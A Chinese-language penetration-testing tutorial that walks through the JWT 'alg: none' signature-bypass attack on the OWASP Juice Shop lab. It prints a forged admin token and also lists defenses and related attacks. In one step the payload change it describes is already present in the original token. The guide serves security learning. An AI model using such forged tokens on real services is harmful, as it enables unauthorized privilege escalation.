JWT劫持攻击全面指南
1. JWT基础概念
1.1 什么是JWT
JWT(JSON Web Token)是一种紧凑的Claims声明格式,主要用于空间受限的环境进行传输,常见于HTTP授权请求头参数和URI查询参数。它将Claims转换为JSON格式,然后通过数字签名或加密进行保护。
1.2 JWT的组成结构
JWT由三部分组成,用点号(.)连接:
-
头部(Header)
- 包含令牌类型和加密算法
- 示例:
{"typ":"JWT","alg":"HS256"} - Base64编码后:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
-
载荷(Payload)
- 包含自定义的声明信息
- 示例:
{"sub":"1234567890","name":"John Doe","admin":true} - Base64编码后:
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9
-
签名(Signature)
- 由头部+载荷+密钥通过指定算法生成
- 示例:
TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ
完整JWT示例:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ
2. 实验环境搭建
2.1 使用OWASP Juice Shop靶场
# 拉取Owasp juice shop容器
docker pull bkimminich/juice-shop
# 启动容器
docker run -d -p 3000:3000 bkimminich/juice-shop
访问地址:http://[IP]:3000
2.2 创建测试账户
- 用户名:
lee@163.com - 密码:
123456
3. JWT劫持攻击原理
3.1 攻击可行性分析
- 头部:Base64编码,可见且可操作
- 载荷:Base64编码,可修改内容
- 签名:依赖密钥,攻击者通常不知道
关键问题:如何绕过签名验证?
3.2 攻击思路
通过修改JWT头部中的加密算法为none,使服务器不验证签名:
- 将算法从
HS256改为none - 删除签名部分(设置为空)
- 修改载荷中的权限信息
4. JWT劫持攻击复现步骤
4.1 捕获JWT令牌
- 使用测试账户登录
- 使用Burp Suite或类似工具抓包
- 找到包含
Authorization头的请求
示例JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ
4.2 解码分析
使用在线工具解码各部分:
头部解码:
{
"alg": "HS256",
"typ": "JWT"
}
载荷解码:
{
"sub": "1234567890",
"name": "John Doe",
"admin": true
}
4.3 构造攻击JWT
- 修改头部算法为
none:
{
"alg": "none",
"typ": "JWT"
}
Base64编码:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
- 修改载荷提升权限(如将
admin改为true)
{
"sub": "1234567890",
"name": "John Doe",
"admin": true
}
Base64编码:eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9
- 删除签名部分,只保留头部和载荷,最后加一个点号
最终攻击JWT:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.
4.4 发送修改后的JWT
将构造的JWT替换原始请求中的Authorization头,观察是否获得提升的权限。
5. 防御措施
- 拒绝
none算法:服务器应明确拒绝alg=none的JWT - 固定算法:验证JWT时指定预期的算法,而不是依赖令牌中的声明
- 密钥保护:确保签名密钥安全,不使用弱密钥
- 令牌有效期:设置合理的过期时间
- HTTPS传输:防止令牌在传输过程中被截获
- 黑名单机制:对已注销的令牌进行管理
6. 扩展攻击方式
除了none算法攻击外,JWT还可能面临以下攻击:
- 弱密钥破解:对HS256算法暴力破解弱密钥
- 密钥混淆攻击:当服务端同时支持多种算法时
- KID参数注入:操纵JWT头部中的key ID参数
- JWK参数注入:操纵JSON Web Key参数
7. 工具推荐
- jwt.io:在线JWT解码/编码工具
- jwt_tool:功能强大的JWT测试工具
- Burp Suite JWT插件:方便修改和重放JWT
- Postman:用于API和JWT测试
通过本指南,您应该能够全面理解JWT劫持攻击的原理、实施方法和防御措施。在实际渗透测试中,请确保获得合法授权后再进行测试。